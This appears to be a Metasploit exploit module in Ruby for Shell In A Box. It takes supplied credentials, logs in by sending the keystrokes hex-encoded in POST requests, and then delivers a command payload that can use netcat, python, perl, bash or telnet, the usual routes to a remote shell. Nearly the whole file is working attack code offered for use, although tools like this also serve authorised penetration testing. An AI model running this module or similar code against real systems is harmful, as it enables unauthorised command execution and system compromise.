This module uses valid credentials to log in to Shell In A Box and execute arbitrary operating system commands. Shell In A Box must be configured to use the system shell (default).

shellinabox.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Shell In A Box Authenticated Command Execution',
      'Description'     => %q{
          This module uses valid credentials to log in to Shell In A Box and
        execute arbitrary operating system commands. Shell In A Box must be
        configured to use the system shell (default).
      },
      'License'         => MSF_LICENSE,
      'Privileged'      => false,
      'Platform'        => %w{ unix linux },
      'Arch'            => ARCH_CMD,
      'Author'          =>
        [
          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
        ],
      'References'      =>
        [
          ['URL', 'http://code.google.com/p/shellinabox/']
        ],
      'Payload'         =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat python perl bash telnet'
            }
        },
      'Targets'         =>
        [
          # Tested on Shell In A Box version 2.14
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Aug 12 2012' # Shell In A Box release date
    ))
    register_options(
      [
        Opt::RPORT(4200),
        OptString.new('USERNAME',  [true,  'The username for Shell In A Box']),
        OptString.new('PASSWORD',  [false, 'The password for Shell In A Box'])
      ], self.class)
  end

  #
  # Check
  #
  def check
    if get_session_id
      return Exploit::CheckCode::Detected
    else
      vprint_error "#{peer} - Could not get session ID"
    end
    Exploit::CheckCode::Safe
  end

  #
  # Send commands to server as ASCII hex
  #
  def execute_command(cmd, opts = {})
    req = ''
    if !cmd.nil?
      cmd.bytes.each do |b|
        req << '%.2X' % b
      end
    end
    req << '0D'
    vprint_debug "#{peer} - Sending request (#{req.length} bytes): #{cmd}"
    res = send_request_cgi(
      'method'    => 'POST',
      'vars_post' => Hash[{
        'width'   => rand(200),
        'height'  => rand(200),
        'session' => @session_id,
        'keys'    => req
      }.to_a.shuffle]
    )
    if !res
      print_error "#{peer} - Connection failed"
    elsif res.code == 200 && res.body =~ /<title>OK<\/title>/
      vprint_status "#{peer} - Request sent successfully"
    else
      print_error "#{peer} - Sending request failed"
    end
    res = get_response
    vprint_status "#{peer} - Received response (#{res.body.length} bytes) [HTTP #{res.code}]"
    vprint_debug "#{peer} - Replied: #{res.body}"
    res
  end

  #
  # Retrieve session ID
  #
  def get_session_id
    vprint_status "#{peer} - Fetching session ID..."
    res = get_response
    if !res
      vprint_error "#{peer} - Connection failed"
    elsif res.code == 200 && res.body =~ /"session":"(.+?)"/
      session_id = res.body.match(/"session":"(.+?)"/)[1]
      vprint_status "#{peer} - Found session ID: #{session_id}"
    else
      vprint_error "#{peer} - Could not get session ID"
    end
    session_id
  end

  #
  # Retrieve server response
  #
  def get_response
    send_request_cgi(
      'method'    => 'POST',
      'vars_post' => Hash[{
        'width'   => rand(200),
        'height'  => rand(200),
        'session' => @session_id
      }.to_a.shuffle]
    )
  end

  #
  # Exploit
  #
  def exploit
    # get session id
    @session_id = get_session_id
    if @session_id.nil?
      fail_with Exploit::Failure::Unknown, "#{peer} - Could not get session ID."
    end
    # login
    execute_command datastore['USERNAME']
    execute_command datastore['PASSWORD']
    # send payload
    execute_command payload.encoded
  end
end